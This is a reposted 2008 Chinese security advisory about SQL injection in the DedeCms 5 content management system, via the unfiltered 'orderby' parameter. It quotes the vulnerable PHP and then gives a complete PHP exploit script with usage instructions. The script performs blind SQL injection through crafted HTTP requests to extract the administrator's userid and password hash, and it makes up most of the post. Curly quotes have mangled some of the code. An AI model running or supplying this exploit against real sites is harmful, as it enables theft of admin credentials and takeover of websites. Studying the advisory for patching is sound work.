Dedecms 注射漏洞

    [多云 August 13, 2008 14:35 | by !4p47hy ]
来源:80SEC

漏洞说明:DedeCms由2004年到现在,已经经历了五个版本,从DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms 2007(DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。

漏洞厂商:http://www.dedecms.com

漏洞来源:http://www.80sec.com/release/dedecms-sql-injection.txt

漏洞解析:在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下

-------------------------------------------------------
if(empty($orderby)) $orderby = 'pubdate';

//重载列表
if($dopost=='getlist'){
PrintAjaxHead();
GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数
$dsql->Close();
exit();
……
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
global $cfg_phpurl,$cfg_ml;
$jobs = array();
$start = ($pageno-1) * $pagesize;

$dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
$dsql->Execute();//orderby 带入数据库查询
……
----------------------------------------------------------

漏洞利用:80sec提供攻击测试代码如下(如果发现代码无法测试,请访问80sec官方的txt文档):

<?
print_r('
--------------------------------------------------------------------------------
DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit
BY Flyh4t
www.wolvez.org
Thx for all the members of W.S.T and my friend Oldjun
--------------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].’ host path
host: target server (ip/hostname)
path: path to DEDEcms
Example:
php ‘.$argv[0].’ localhost /
——————————————————————————–
‘);
die;
}

function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),’80′);
if (!$ock) {
echo ‘No response from ‘.$host; die;
}
fputs($ock,$packet);
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$prefix=”dede_”;
$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;

if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))
{echo ‘Error… check the path!’; die;}

/*get $prefix*/
$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (eregi(”in your SQL syntax”,$html))
{
$temp=explode(”From “,$html);
$temp2=explode(”member”,$temp[1]);
if($temp2[0])
$prefix=$temp2[0];
echo “[+]prefix -> “.$prefix.”\n”;
}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
echo “[~]exploting now,plz waiting\r\n”;

/*get password*/
$j=1;$password=”";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”\r\n”;break;}
}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}

/*get userid*/
$j=1;$admin=”";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”\r\n”;break;}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}

print_r(’
——————————————————————————–
[+]userid -> ‘.$admin.’
[+]pwd(md5 24位) -> ‘.$password.’
——————————————————————————–
‘);
function is_hash($hash)
{
if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo “Exploit succeeded…”;}
else {echo “Exploit failed…”;}
?>


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